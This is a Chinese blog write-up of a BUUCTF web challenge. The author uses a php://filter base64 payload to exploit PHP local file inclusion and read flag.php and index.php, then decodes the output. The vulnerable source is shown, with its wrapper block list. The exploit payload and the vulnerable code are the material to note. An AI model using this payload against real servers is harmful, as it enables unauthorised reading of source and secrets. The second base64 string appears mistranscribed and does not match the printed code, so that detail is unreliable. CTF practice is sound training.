




# BUUCTF: [ACTF2020 新生赛]Include

原创

末初  于 2020-10-06 21:13:06 发布  486  收藏

分类专栏: [CTF\\_WEB\\_Writeup](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/mochu7777777/article/details/108943796>

版权



[CTF\\_WEB\\_Writeup](#) 专栏收录该内容

159 篇文章 31 订阅

订阅专栏

题目地址: [https://buuoj.cn/challenges#\[ACTF2020%E6%B0%E7%94%9F%E8%B5%9B\]Include](https://buuoj.cn/challenges#[ACTF2020%E6%B0%E7%94%9F%E8%B5%9B]Include)

Challenge
2471 Solves
×

## [ACTF2020 新生赛]Include 1

感谢 Y1ng 师傅供题。

**Instance Info**

Remaining Time: 10450s

Lan Domain: 4503-903139ea-d9bc-4556-883f-90ab1b14639d

http://903139ea-d9bc-4556-883f-90ab1b14639d.node3.buuoj.cn

Destroy this instance
Renew this instance

Flag

Submit

https://blog.csdn.net/mochu7777777

Can you find out the flag?

查看器
控制台
调试器
网络
样式编辑器
性能
内存
存储
无障碍环境
应用程序
HackBar

Encryption Encoding SQL XSS Other

Load URL

http://903139ea-d9bc-4556-883f-90ab1b14639d.node3.buuoj.cn/?file=flag.php

Split URL

Execute

Post data
 Referer
 User Agent
 Cookies
Clear All

https://blog.csdn.net/mochu7777777

文件包含 直接伪协议读取 flag.php

```
?file=php://filter/convert.base64-encode/resource=flag.php
```

```
PS C:\Users\Administrator> php -r "var_dump(base64_decode('PD9waHAKZWNoYAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7NjNiNWRkYjAtNjM0Zi00ZGY4LTljZTgtZjA1NTZkM2U3OGExfQo='));"
string(86) "<?php
echo "Can you find out the flag?";
//flag{63b5ddb0-634f-4df8-9ce8-f0556d3e78a1}"
```

```
?file=php://filter/convert.base64-encode/resource=index.php
```

```
PS C:\Users\Administrator> php -r "var_dump(base64_decode('PG1ldGEgY2hhcnNldD0idXRmOCI+Cjw/cGhwCmVycm9yX3JlcG9yd
GluZygwKTsKJGZpbGUgPSAkX0dFVFsiZm1sZS5jd0wppZihzdHJpc3RyKCRmaWx1LCJwaHA6Ly9pbmB1dCIpIHx8IHh0cm1zdHIoJGZpbGUsInppc
DovLyIpIHx8IHh0cm1zdHIoJGZpbGUsInBoYXI6Ly8iKSB8fCBzdHJpc3RyKCRmaWx1LCJkYXRhOiIpKXsKCWV4aXQoJ2hhY2t1ciEnKTsKfQppZ
igkZm1sZS17CglpbmNsdWRlKCRmaWx1KTsKfWVsc2V7Cgl1Y2hvICc8YSBocmVmPSI/Zm1sZT1mbGFuLnBocCI+dG1wczwvYT4nOwp9Cj8+Cg==')
));"
string(289) "<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(strpos($file,"php://input") || strpos($file,"zip://") || strpos($file,"phar://") || strpos($file,"data:")
){
    exit('hacker!');
}
if($file){
    include($file);
}else{
    echo '<a href="?file=flag.php">tips</a>';
}
?>
"
```